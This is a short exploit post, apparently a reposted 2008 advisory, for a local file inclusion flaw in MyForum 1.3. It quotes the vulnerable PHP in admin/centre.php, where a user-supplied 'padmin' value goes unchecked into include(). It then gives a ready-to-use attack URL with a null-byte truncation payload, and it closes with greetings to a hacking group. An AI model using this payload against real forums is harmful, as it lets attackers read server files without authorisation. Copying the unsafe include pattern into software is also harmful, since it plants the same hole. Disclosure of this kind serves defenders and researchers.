SecurityReason - MyForum 1.3 (padmin) Local File Inclusion Vulnerability ( Exploit )

Exploit Code :

[o]------------------------------------------------------------------------
------------[x]
| Local File Inclusion Vulnerability
|
[o]------------------------------------------------------------------------
------------[o]
| Software : MyForum 1.3
|
| Download : http://www.easy-script.com/scripts-dl/myforumv1.3.zip
| |
| Date : 27 October 2008
|
| Author : Vrs-hCk
|
| Contact : d00r[at]telkom[dot]net
|
[o]------------------------------------------------------------------------
------------[o]

[Â»] Vulnerable

./admin/centre.php

3: if (isset($padmin))
4: {
5:
6: $fichier = "padmin/".$padmin.".php";
7:
8: if (file_exists($fichier))
9: {
10: include ($fichier);
11: }

[Â»] Exploit

http://[site]/[path]/admin/centre.php?padmin=[LFI]%00

[o]------------------------------------------------------------------------
------------[x]
| Greetz
|
[o]------------------------------------------------------------------------
------------[o]
| All Member oF MainHack BrotherHood - www.MainHack.com -
www.ServerIsDown.org |
| Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia,
}^-^{, em|nem, |
| loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc,
terbang_melayang, |
| chawanua, bl4Ck_3n91n3, R3V4N_B4ST4RD, dkk ... c0li.m0de.0n !!!
|
[o]------------------------------------------------------------------------
------------[o]